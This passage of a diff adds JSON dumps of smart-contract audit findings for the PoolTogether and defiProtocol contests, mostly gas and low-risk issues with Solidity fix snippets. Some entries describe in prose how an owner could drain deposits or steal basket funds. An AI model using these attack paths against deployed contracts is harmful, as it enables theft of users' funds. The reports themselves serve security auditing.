the `onlyPrizeStrategy` role from moving a yield source's deposit tokens. However, the `YieldSourcePrizePool.sol` contract only restricts the movement of tokens from the `yieldSource` address instead of the actual deposit token. As a result, the `onlyOwner` role could escalate its role by calling `PrizePool.setPrizeStrategy()` and setting the prize strategy to its own address. Once it has taken over this role, they could effectively transfer out the yield source's deposit tokens, thereby draining the contract. This is in direct contrast to PoolTogether's ethos, whereby their docs state that the multisig account used to represent the `onlyOwner` role has no custody over deposited assets. ## Proof of Concept https://v4.docs.pooltogether.com/protocol/reference/launch-architecture#progressive-decentralization https://github.com/pooltogether/v4-core/blob/master/contracts/prize-pool/YieldSourcePrizePool.sol#L55-L57 https://github.com/pooltogether/v4-core/blob/master/contracts/prize-pool/PrizePool.sol#L329-L343 https://github.com/pooltogether/v4-core/blob/master/contracts/prize-pool/PrizePool.sol#L228-L236 https://github.com/pooltogether/v4-core/blob/master/contracts/prize-pool/PrizePool.sol#L300-L302 ## Tools Used Manual code review ## Recommended Mitigation Steps Consider updating the `YieldSourcePrizePool._canAwardExternal()` function to restrict the prize strategy from withdrawing `yieldSource.depositToken()` instead. "}, {"title": "Unnecessary decrement (DrawCalculator.sol)", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/57", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-pooltogether-findings", "body": "Unnecessary decrement (DrawCalculator.sol)"}, {"title": "Miners Can Re-Roll the VRF Output to Game the Protocol", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/56", "labels": ["bug", "sponsor acknowledged", "3 (High Risk)"], "target": "2021-10-pooltogether-findings", "body": "Miners Can Re-Roll the VRF Output to Game the Protocol"}, {"title": "Style issues", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/52", "labels": ["bug", "sponsor confirmed", "0 (Non-critical)", "resolved"], "target": "2021-10-pooltogether-findings", "body": "Style issues"}, {"title": "unchecked arithmetics", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/51", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "resolved"], "target": "2021-10-pooltogether-findings", "body": "# Handle pauliax # Vulnerability details ## Impact You can save some gas by using the 'unchecked' keyword to avoid redundant arithmetic checks when an underflow/overflow cannot happen. For example, here: while (_prizeSplits.length > newPrizeSplitsLength) { uint256 _index = _prizeSplits.length - 1; or here: require(_accountDetails.balance >= _amount, _revertMessage); ... accountDetails.balance = _accountDetails.balance - _amount; ## Recommended Mitigation Steps Consider applying 'unchecked' keyword where overflows/underflows are not possible. "}] \ No newline at end of file diff --git a/results/codearena_findings_5.json b/results/codearena_findings_5.json new file mode 100644 index 0000000..c2e86fa --- /dev/null +++ b/results/codearena_findings_5.json @@ -0,0 +1 @@ +[{"title": "Unnecessary imports", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/50", "labels": ["bug", "sponsor confirmed", "0 (Non-critical)", "disagree with severity", "resolved"], "target": "2021-10-pooltogether-findings", "body": "# Handle PranavG # Vulnerability details ## Impact MathUtils.sol has unused import at line #5: import \"@openzeppelin/contracts/math/SafeMath.sol\"; The import is not used in any way. ## Recommended Mitigation Steps Remove it to improve readability of the code. "}, {"title": "Less than 256 uints are not efficient", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/49", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-pooltogether-findings", "body": "Less than 256 uints are not efficient"}, {"title": "function _getPrizeSplitAmount can be refactored", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/48", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "resolved"], "target": "2021-10-pooltogether-findings", "body": "# Handle pauliax # Vulnerability details ## Impact If you want to save some gas you can get rid of _getPrizeSplitAmount and calculate the split directly in _distributePrizeSplits as this function is internal and is only called once so there is no actual need for reusability here and removing this extra call will make the execution cheaper. ## Recommended Mitigation Steps Consider moving the logic of _getPrizeSplitAmount directly to _distributePrizeSplits. "}, {"title": "Immutable variables", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/47", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "resolved"], "target": "2021-10-pooltogether-findings", "body": "Immutable variables"}, {"title": "staticcall may return true for an invalid _yieldSource", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/45", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "resolved"], "target": "2021-10-pooltogether-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Low-level calls like staticcall return true even if the account called is non-existent (per EVM design) so this hack in YieldSourcePrizePool constructor will not work in certain cases: // A hack to determine whether it's an actual yield source (bool succeeded, ) = address(_yieldSource).staticcall( abi.encodePacked(_yieldSource.depositToken.selector) ); You can try to pass an EOA address and see that it will return true. ## Recommended Mitigation Steps Account existence must be checked prior to calling. A similar issue was submitted in a previous contest and assigned a severity of low, you can find more details here: https://github.com/code-423n4/2021-04-basedloans-findings/issues/16 "}, {"title": "calculateNextBeaconPeriodStartTime casts timestamp to uint64", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/44", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "resolved"], "target": "2021-10-pooltogether-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function calculateNextBeaconPeriodStartTime accepts _time as a type of uint256 but later explicitly casts it to uint64. While this function is not used internally, it behaves incorrectly when passed a value that uint64 does not hold (for such values it will return a max value of uint64). I don't see a reason why you can't directly accept uint64 here. ## Recommended Mitigation Steps Change parameter type to uint64. "}, {"title": "Unnecessary Addition In Loop (PrizeDistributionBuffer.sol)", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/43", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-pooltogether-findings", "body": "Unnecessary Addition In Loop (PrizeDistributionBuffer.sol)"}, {"title": "`PrizeDistributor.sol#claim()` Remove redundant check can save gas", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/41", "labels": ["bug", "G (Gas Optimization)", "resolved"], "target": "2021-10-pooltogether-findings", "body": "`PrizeDistributor.sol#claim()` Remove redundant check can save gas"}, {"title": "`PrizeSplit.sol#_totalPrizeSplitPercentageAmount()` Avoid unnecessary copy from storage to memory can save gas", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/40", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "resolved"], "target": "2021-10-pooltogether-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/pooltogether/v4-core/blob/055335bf9b09e3f4bbe11a788710dd04d827bf37/contracts/prize-strategy/PrizeSplit.sol#L135-L136 ```solidity PrizeSplitConfig memory split = _prizeSplits[index]; _tempTotalPercentage = _tempTotalPercentage + split.percentage; ``` Only `percentage` of the `PrizeSplitConfig` struct is accessed, however, the current implementation created a memory variable that will load `_prizeSplits[index]` and copy to memory, this is unnecessary and gas inefficient. ### Recommendation Change to: ```solidity _tempTotalPercentage = _tempTotalPercentage + split.percentage; ``` "}, {"title": "Adding unchecked directive can save gas", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/38", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "resolved"], "target": "2021-10-pooltogether-findings", "body": "Adding unchecked directive can save gas"}, {"title": "`PrizePool.sol#_canDeposit()` Remove redundant code can make the code simpler and save some gas", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/37", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "resolved"], "target": "2021-10-pooltogether-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/pooltogether/v4-core/blob/055335bf9b09e3f4bbe11a788710dd04d827bf37/contracts/prize-pool/PrizePool.sol#L361-L368 ```solidity function _canDeposit(address _user, uint256 _amount) internal view returns (bool) { ITicket _ticket = ticket; uint256 _balanceCap = balanceCap; if (_balanceCap == type(uint256).max) return true; return (_ticket.balanceOf(_user) + _amount <= _balanceCap); } ``` `ITicket _ticket = ticket;` is redundant, removing it will also avoid a `sload` if returned when `_balanceCap == type(uint256).max`. ### Recommendation Change to: ```solidity function _canDeposit(address _user, uint256 _amount) internal view returns (bool) { uint256 _balanceCap = balanceCap; if (_balanceCap == type(uint256).max) return true; return (ticket.balanceOf(_user) + _amount <= _balanceCap); } ``` "}, {"title": "`PrizePool.sol#setTicket()` Remove unnecessary variable can make the code simpler and save some gas", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/36", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "resolved"], "target": "2021-10-pooltogether-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/pooltogether/v4-core/blob/055335bf9b09e3f4bbe11a788710dd04d827bf37/contracts/prize-pool/PrizePool.sol#L284-L297 ```solidity function setTicket(ITicket _ticket) external override onlyOwner returns (bool) { address _ticketAddress = address(_ticket); require(_ticketAddress != address(0), \"PrizePool/ticket-not-zero-address\"); ... ``` `_ticketAddress` is unnecessary as it's being used only once. ### Recommendation Change to: ```solidity function setTicket(ITicket _ticket) external override onlyOwner returns (bool) { require(address(_ticket) != address(0), \"PrizePool/ticket-not-zero-address\"); ... ``` "}, {"title": "`PrizeSplit.sol#distribute()` The value of the event parameter is wrong", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/35", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "resolved"], "target": "2021-10-pooltogether-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/pooltogether/v4-core/blob/055335bf9b09e3f4bbe11a788710dd04d827bf37/contracts/prize-strategy/PrizeSplitStrategy.sol#L51-L61 ```solidity function distribute() external override returns (uint256) { uint256 prize = prizePool.captureAwardBalance(); if (prize == 0) return 0; _distributePrizeSplits(prize); emit Distributed(prize); return prize; } ``` Based on the context, the value of the parameter of the `Distributed` event should be the distributed prize amount, which can be calculated based on the return value of `_distributePrizeSplits`. ### Recommendation Change to: ```solidity event Distributed(uint256 totalPrizeCaptured, uint256 totalPrizeDistributed); function distribute() external override returns (uint256) { uint256 prize = prizePool.captureAwardBalance(); if (prize == 0) return 0; uint remainingPrize = _distributePrizeSplits(prize); emit Distributed(prize, prize - remainingPrize); return prize; } ``` "}, {"title": "The formula of number of prizes for a degree is wrong", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/33", "labels": ["bug", "sponsor confirmed", "3 (High Risk)", "resolved"], "target": "2021-10-pooltogether-findings", "body": "# Handle WatchPug # Vulnerability details The formula of the number of prizes for a degree per the document: https://v4.docs.pooltogether.com/protocol/concepts/prize-distribution/#splitting-the-prizes is: ``` Number of prizes for a degree = (2^bit range)^degree - (2^bit range)^(degree-1) - (2^bit range)^(degree-2) - ... ``` Should be changed to: ``` Number of prizes for a degree = (2^bit range)^degree - (2^bit range)^(degree-1) ``` or ``` Number of prizes for a degree = 2^(bit range * degree) - 2^(bit range * (degree-1)) ``` ### Impact Per the document: > prize for a degree = total prize * degree percentage / number of prizes for a degree Due to the miscalculation of `number of prizes for a degree`, it will be smaller than expected, as a result, `prize for a degree` will be larger than expected. Making the protocol giving out more prizes than designed. ### Proof > We will use `f(bitRange, degree)` to represent `numberOfPrizesForDegree(bitRangeSize, degree)`. #### Proof: (method 1) ```tex 2 ^ {bitRange \\times n} = f(bitRange, n) + f(bitRange, n-1) + f(bitRange, n-2) + ... + f(bitRange, 1) + f(bitRange, 0) f(bitRange, n) = 2 ^ {bitRange \\times n} - ( f(bitRange, n-1) + f(bitRange, n-2) + ... + f(bitRange, 1) + f(bitRange, 0) ) f(bitRange, n) = 2 ^ {bitRange \\times n} - f(bitRange, n-1) - ( f(bitRange, n-2) + ... + f(bitRange, 1) + f(bitRange, 0) ) Because: 2 ^ {bitRange \\times (n-1)} = f(bitRange, n-1) + f(bitRange, n-2) + ... + f(bitRange, 1) + f(bitRange, 0) 2 ^ {bitRange \\times (n-1)} - f(bitRange, n-1) = f(bitRange, n-2) + ... + f(bitRange, 1) + f(bitRange, 0) Therefore: f(bitRange, n) = 2 ^ {bitRange \\times n} - f(bitRange, n-1) - ( 2 ^ {bitRange \\times (n-1)} - f(bitRange, n-1) ) f(bitRange, n) = 2 ^ {bitRange \\times n} - f(bitRange, n-1) - 2 ^ {bitRange \\times (n-1)} + f(bitRange, n-1) f(bitRange, n) = 2 ^ {bitRange \\times n} - 2 ^ {bitRange \\times (n-1)} ``` Because `2^x = 1 << x` Therefore, when `n > 0`: ``` f(bitRange, n) = ( 1 << bitRange * n ) - ( 1 << bitRange * (n - 1) ) ``` QED. #### Proof: (method 2) By definition, `degree n` is constructed by 3 chunks: - The first N numbers, must equal the matching numbers. Number of possible values: `1`; - The N-th number, must not equal the N-th matching number. Number of possible values: `2^bitRange - 1` - From N (not include) until the end. Number of possible values: `2 ^ (bitRange * (n-1))` Therefore, total `numberOfPrizesForDegree` will be: ```tex f(bitRange, n) = (2 ^ {bitRange} - 1) \\times 2 ^ {bitRange \\times (n - 1)} f(bitRange, n) = 2 ^ {bitRange} \\times 2 ^ {bitRange \\times (n - 1)} - 2 ^ {bitRange \\times (n - 1)} f(bitRange, n) = 2 ^ {bitRange + bitRange \\times (n - 1)} - 2 ^ {bitRange \\times (n - 1)} f(bitRange, n) = 2 ^ {bitRange + bitRange \\times n - bitRange} - 2 ^ {bitRange \\times (n - 1)} f(bitRange, n) = 2 ^ {bitRange \\times n} - 2 ^ {bitRange \\times (n - 1)} ``` QED. ### Recommendation https://github.com/pooltogether/v4-core/blob/055335bf9b09e3f4bbe11a788710dd04d827bf37/contracts/DrawCalculator.sol#L423-L431 ```solidity=412{423-431} /** * @notice Calculates the number of prizes for a given prizeDistributionIndex * @param _bitRangeSize Bit range size for Draw * @param _prizeTierIndex Index of the prize tier array to calculate * @return returns the fraction of the total prize (base 1e18) */ function _numberOfPrizesForIndex(uint8 _bitRangeSize, uint256 _prizeTierIndex) internal pure returns (uint256) { uint256 bitRangeDecimal = 2**uint256(_bitRangeSize); uint256 numberOfPrizesForIndex = bitRangeDecimal**_prizeTierIndex; while (_prizeTierIndex > 0) { numberOfPrizesForIndex -= bitRangeDecimal**(_prizeTierIndex - 1); _prizeTierIndex--; } return numberOfPrizesForIndex; } ``` L423-431 should change to: ```solidity if (_prizeTierIndex > 0) { return ( 1 << _bitRangeSize * _prizeTierIndex ) - ( 1 << _bitRangeSize * (_prizeTierIndex - 1) ); } else { return 1; } ``` BTW, the comment on L416 is wrong: - seems like it's copied from _calculatePrizeTierFraction() - plus, it's not base 1e18 but base 1e9 "}, {"title": "Deposits don't work with fee-on transfer tokens", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/30", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-10-pooltogether-findings", "body": "Deposits don't work with fee-on transfer tokens"}, {"title": "Gas: `PrizePool.captureAwardBalance` computation can be simplified", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/29", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "resolved"], "target": "2021-10-pooltogether-findings", "body": "# Handle cmichel # Vulnerability details The `PrizePool.captureAwardBalance` function always sets `_currentAwardBalance = currentAwardBalance` where `currentAwardBalance = currentAwardBalance + unaccountedPrizeBalance = currentAwardBalance + totalInterest - currentAwardBalance = totalInterest`. Save a checked math addition by just setting `_currentAwardBalance = totalInterest` immediately. "}, {"title": "`PrizePool` uses `ERC20` for `ERC721`", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/28", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "resolved"], "target": "2021-10-pooltogether-findings", "body": "# Handle cmichel # Vulnerability details The `PrizePool` defines `using SafeERC20 for IERC721;` which means the `SafeERC20.safeTransferFrom` function will be used in `awardExternalERC721`. However, this function is just a wrapper for `contract.transferFrom` with a return-value and success check. Thus this call actually calls `ERC721.transferFrom` instead of `ERC721.safeTransferFrom` and does not call the important `onERC721Received` check for contracts. ## Impact ERC721s can be awarded to contracts that don't know how to handle it and they can get stuck. ## Recommended Mitigation Steps Remove the `using SafeERC20 for IERC721;` line. "}, {"title": "Reserve does not correctly implement RingBuffer", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/26", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "resolved"], "target": "2021-10-pooltogether-findings", "body": "# Handle cmichel # Vulnerability details The `Reserve` does not correctly use ring buffers to get the oldest / newest elements if the array is full (observations larger than cardinality) in which case it should wrap around. `getReserveAccumulatedBetween` always picks `reserveAccumulators[_cardinality - 1]`. `_checkpoint` tries to write to `reserveAccumulators[cardinality++]` which will break once `cardinality` reaches `MAX_CARDINALITY`. The `TwabLib` library has a correct `oldestTwab/newestTwab` implementation using the `RingBufferLib` that wraps around if needed. ## Impact Anyone can send 1 wei to the reserve and call `checkpoint` on it until the `MAX_CARDINALITY` is reached. Afterwards, trying to write any new checkpoints will fail as `_checkpoint` now tries to write to `cardinality=MAX_CARDINALITY+1` which is out of bounds of the `reserveAccumulators`. The reserve is broken and cannot withdraw funds anymore. The gas costs for such an attack are very high and would take ~7 years if writing every block, making it probably not worth fixing. ## Recommended Mitigation Steps Correctly implement the ring buffer usage like in `TwabLib`. "}, {"title": "Anyone can claim prizes on behalf of someone", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/25", "labels": ["bug", "invalid", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-10-pooltogether-findings", "body": "Anyone can claim prizes on behalf of someone"}, {"title": "Unbounded iteration over picks when `claim`ing draws", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/24", "labels": ["bug", "sponsor acknowledged", "0 (Non-critical)"], "target": "2021-10-pooltogether-findings", "body": "Unbounded iteration over picks when `claim`ing draws"}, {"title": "Wrong comment regarding decimal precision of `_calculatePrizeTierFraction`", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/22", "labels": ["bug", "sponsor confirmed", "0 (Non-critical)", "resolved"], "target": "2021-10-pooltogether-findings", "body": "# Handle cmichel # Vulnerability details The `_calculatePrizeTierFraction` docs say \"returns the fraction of the total prize (base 1e18)\", but it's base 1e9. Code seems to be correct. "}, {"title": "Gas: Bitmasks creation can be simplified", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/21", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "resolved"], "target": "2021-10-pooltogether-findings", "body": "# Handle cmichel # Vulnerability details In `DrawCalculator._createBitMasks`, the bit masks can just be created by shifting the previous (potentially already shifted) masks by the bit range. It saves on multiplications and, for me, this is also more intuitive than the current algorithm. Some pseudocode: ```solidity function _createBitMasks(IPrizeDistributionBuffer.PrizeDistribution memory _prizeDistribution) internal pure returns (uint256[] memory) { uint256[] memory masks = new uint256[](_prizeDistribution.matchCardinality); uint256 _bitRangeMaskValue = (2**_prizeDistribution.bitRangeSize) - 1; // get a decimal representation of bitRangeSize, for example 0xF for bitRangeSize = 4 if(_prizeDistribution.matchCardinality == 0) return masks; masks[0] = _bitRangeMaskValue; for (uint8 maskIndex = 1; maskIndex < _prizeDistribution.matchCardinality; maskIndex++) { // shift by the \"size\" of the bit mask each time, 0xF, 0xF0, 0xF00, 0xF000, etc. masks[maskIndex] = masks[maskIndex - 1] << _prizeDistribution.bitRangeSize; } return masks; } ``` "}, {"title": "Gas: Default case of `_calculateTierIndex` can return `0`", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/20", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "resolved"], "target": "2021-10-pooltogether-findings", "body": "# Handle cmichel # Vulnerability details If all masks match the `DrawCalculator._calculateTierIndex` function returns `masksLength - numberOfMatches` but it will always be zero at this point as `masksLength == numberOfMatches`. So just returning zero here would lead to saving a checked subtraction. "}, {"title": "Should `safeApprove(0)` first", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/19", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-10-pooltogether-findings", "body": "Should `safeApprove(0)` first"}, {"title": "Usage of deprecated `safeApprove`", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/18", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "resolved"], "target": "2021-10-pooltogether-findings", "body": "# Handle cmichel # Vulnerability details Description: `safeApprove` is now deprecated, see [this comment](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/566a774222707e424896c0c390a84dc3c13bdcb2/contracts/token/ERC20/utils/SafeERC20.sol#L38). ## Impact When using one of these unsupported tokens, all transactions revert and the protocol cannot be used. ## Recommended Mitigation Steps As per OpenZepplin documentation \u201cwhenever possible, use `safeIncreaseAllowance` and `safeDecreaseAllowance` instead\u201d. "}, {"title": "PrizeSplit uint8 limits", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/17", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "resolved"], "target": "2021-10-pooltogether-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact In the contract PrizeSplit.sol, uint8 is used in a few places. This limits the addressable size of _prizeSplits. In practice you would probably not split prizes in more than 256 ways, but checking for this is safer. ## Proof of Concept https://github.com/pooltogether/v4-core/blob/master/contracts/prize-strategy/PrizeSplit.sol#L86-L87 function setPrizeSplit(PrizeSplitConfig memory _prizeSplit, uint8 _prizeSplitIndex) https://github.com/pooltogether/v4-core/blob/master/contracts/prize-strategy/PrizeSplit.sol#L130-L140 for (uint8 index = 0; index < prizeSplitsLength; index++) { ## Tools Used ## Recommended Mitigation Steps Add the following to function setPrizeSplits: require(newPrizeSplitsLength <= type(uint8).max)) or replace uint8 with uint256 in PrizeSplit.sol "}, {"title": "Gas improvement _transferTwab", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/16", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "resolved"], "target": "2021-10-pooltogether-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact I've found some gas improvements for _transferTwab, see below. ## Proof of Concept https://github.com/pooltogether/v4-core/blob/master/contracts/Ticket.sol#L296-L313 ## Tools Used ## Recommended Mitigation Steps function _transferTwab(address _from, address _to, uint256 _amount) internal { if (_from==_to) return; // no need to transfer if both are the same if (_from != address(0)) { _decreaseUserTwab(_from, _amount); if (_to == address(0)) _decreaseTotalSupplyTwab(_amount); } if (_to != address(0)) { _increaseUserTwab(_to, _amount); if (_from == address(0)) _increaseTotalSupplyTwab(_amount); } } "}, {"title": "Unnecessary Multiple Return Statements (PrizePool.sol)", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/15", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "resolved"], "target": "2021-10-pooltogether-findings", "body": "# Handle ye0lde # Vulnerability details ## Impact Gas savings and code clarity ## Proof of Concept PrizePool.sol: https://github.com/pooltogether/v4-core/blob/35b00f710db422a6193131b7dc2de5202dc4677c/contracts/prize-pool/PrizePool.sol#L383-L387 ## Tools Used Visual Studio Code, Remix ## Recommended Mitigation Steps Replace this https://github.com/pooltogether/v4-core/blob/35b00f710db422a6193131b7dc2de5202dc4677c/contracts/prize-pool/PrizePool.sol#L383-L387 with return (ticket == _controlledToken) "}, {"title": "double reading from memory inside a for loop.", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/11", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "resolved"], "target": "2021-10-pooltogether-findings", "body": "# Handle pants # Vulnerability details See for example the AssetsManager.rebalance function. There you read the value moneyMarkets[i] twice at the same iteration instead of caching it. This happens in the same file in many other places, deposit, withdraw and more. Inside a loop caching is very important. "}, {"title": "No need to put ReentrnacyGaurd on PrizePool.constructor.", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/10", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-pooltogether-findings", "body": "No need to put ReentrnacyGaurd on PrizePool.constructor."}, {"title": "++i is more gas efficient than i++ for loops.", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/6", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-pooltogether-findings", "body": "++i is more gas efficient than i++ for loops."}, {"title": "PrizePoolHarness._supply -a return without specifying return value", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/1", "labels": ["bug", "sponsor disputed", "0 (Non-critical)", "disagree with severity"], "target": "2021-10-pooltogether-findings", "body": "PrizePoolHarness._supply -a return without specifying return value"}, {"title": "Limit on growth size of pool - bond size", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/275", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-defiprotocol-findings", "body": "Limit on growth size of pool - bond size"}, {"title": "No input validation on parameter changes", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/274", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "No input validation on parameter changes"}, {"title": "Unnecessary require check", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/273", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle tensors # Vulnerability details ## Impact In L92 of Basket.sol there is an unnecessary require check that the user balance is greater than or equal to amount. If the amount is larger than user balance then the _burn() method will fail, causing the function to revert anyway. ## Proof of Concept https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Basket.sol#L92 ## Recommended Mitigation Steps Remove the unnecessary check. "}, {"title": "block.timestamp is a better timer than block.number", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/271", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "block.timestamp is a better timer than block.number"}, {"title": "Add nonreentrant modifiers to external methods in 2 files", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/270", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle tensors # Vulnerability details I recommend adding reentrancy checks throughout Basket.sol and Auction.sol using a mutex lock. Many external calls are made to potentially unsafe token contracts. In the case that not all token contracts are properly vetted, this preventative step could be worthwhile. "}, {"title": "Owner can steal all Basket funds during auction", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/265", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle 0xsanson # Vulnerability details ## Impact The owner of Factory contract can modify the values of `auctionMultiplier` and `auctionDecrement` at any time. During an auction, these values are used to calculate `newRatio` and thereby `tokensNeeded`: specifically, it's easy to set the factory parameters so that `tokensNeeded = 0` (or close to zero) for every token. This way the owner can participate at an auction, change the parameters, and get the underlying tokens from a Basket without transferring any pending tokens. ## Proof of Concept https://github.com/code-423n4/2021-09-defiProtocol/blob/main/contracts/contracts/Auction.sol#L89-L99 ## Tools Used editor ## Recommended Mitigation Steps Consider adding a Timelock to these Factory functions. Otherwise a way to not modify them if an auction is ongoing (maybe Auction saves the values it reads when `startAuction` is called). "}, {"title": "`handleFees` reverts if supply is zero", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/264", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle 0xsanson # Vulnerability details ## Impact In Basket.sol, `handleFees` computes the following: `uint256 newIbRatio = ibRatio * startSupply / totalSupply()`. In the case that `totalSupply() = 0` (every holder burned their basket), the function reverts since there's a 0/0. This issue won't let new people mint, since `handleFees` is called before any minting. ## Proof of Concept https://github.com/code-423n4/2021-09-defiProtocol/blob/main/contracts/contracts/Basket.sol#L124 ## Tools Used editor ## Recommended Mitigation Steps Consider adding a check before the division. ``` if (startSupply == 0) { return; } ``` "}, {"title": "Event BasketLicenseProposed needs an idNumber", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/263", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle 0xsanson # Vulnerability details ## Impact The function `Factory.proposeBasketLicense` at the end emits `BasketLicenseProposed(msg.sender, tokenName)` and returns the id of the proposal. This `id` should also be written to the log, since it's needed by the proposer (for createBasket), and they may not see the return value of an external function. ## Proof of Concept https://github.com/code-423n4/2021-09-defiProtocol/blob/main/contracts/contracts/Factory.sol#L87-L90 ## Tools Used editor ## Recommended Mitigation Steps Consider redefining the event to contain the id of the proposal. "}, {"title": "`bondTimestamp` is not a timestamp but a blocknumber", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/261", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "`bondTimestamp` is not a timestamp but a blocknumber"}, {"title": "Lack of revert messages", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/258", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Lack of revert messages"}, {"title": "`mintTo` arguments order", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/257", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle 0xsanson # Vulnerability details ## Impact In Basket.sol, there is a function `mintTo(uint256 amount, address to)`. It's best practice to use as first argument `to`, and as second `amount`; see also the order used in L84 (_mint(to, amount)) and L86 (Minted(to, amount)). ## Proof of Concept https://github.com/code-423n4/2021-09-defiProtocol/blob/main/contracts/contracts/Basket.sol#L76 ## Tools Used editor ## Recommended Mitigation Steps Consider switching 